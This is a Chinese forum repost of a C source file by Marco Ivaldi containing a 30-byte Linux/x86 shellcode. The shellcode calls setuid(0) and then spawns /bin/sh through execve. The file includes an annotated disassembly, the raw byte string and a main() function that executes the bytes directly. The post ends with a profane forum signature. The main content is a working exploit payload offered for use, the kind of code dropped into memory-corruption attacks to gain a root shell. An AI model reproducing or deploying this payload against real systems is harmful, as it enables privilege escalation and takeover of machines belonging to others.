发新话题
打印

linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes

linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes

文章作者:Marco Ivaldi
复制内容到剪贴板
代码:
/*
* $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
*
* setuid-linux.c - setuid/execve shellcode for Linux/x86
* Copyright (c) 2004 Marco Ivaldi <[email]raptor@0xdeadbeef.info[/email]>
*
* Short fully-functional setuid(0) and /bin/sh execve() shellcode.
*/

/*
* setuid(0)
*
* 8049380:     6a 17             push  $0x17
* 8049382:     58               pop   %eax
* 8049383:     31 db             xor   %ebx,%ebx
* 8049385:     cd 80             int   $0x80
*
* execve("/bin//sh", ["/bin//sh"], NULL)
*
* 8049387:     6a 0b             push  $0xb
* 8049389:     58               pop   %eax
* 804938a:     99               cltd  
* 804938b:     52               push  %edx
* 804938c:     68 2f 2f 73 68       push  $0x68732f2f
* 8049391:     68 2f 62 69 6e       push  $0x6e69622f
* 8049396:     89 e3             mov   %esp,%ebx
* 8049398:     52               push  %edx
* 8049399:     53               push  %ebx
* 804939a:     89 e1             mov   %esp,%ecx
* 804939c:     cd 80             int   $0x80
*/

char sc[] = /* 7 + 23 = 30 bytes */
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

main()
{
  int (*f)() = (int (*)())sc; f();
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题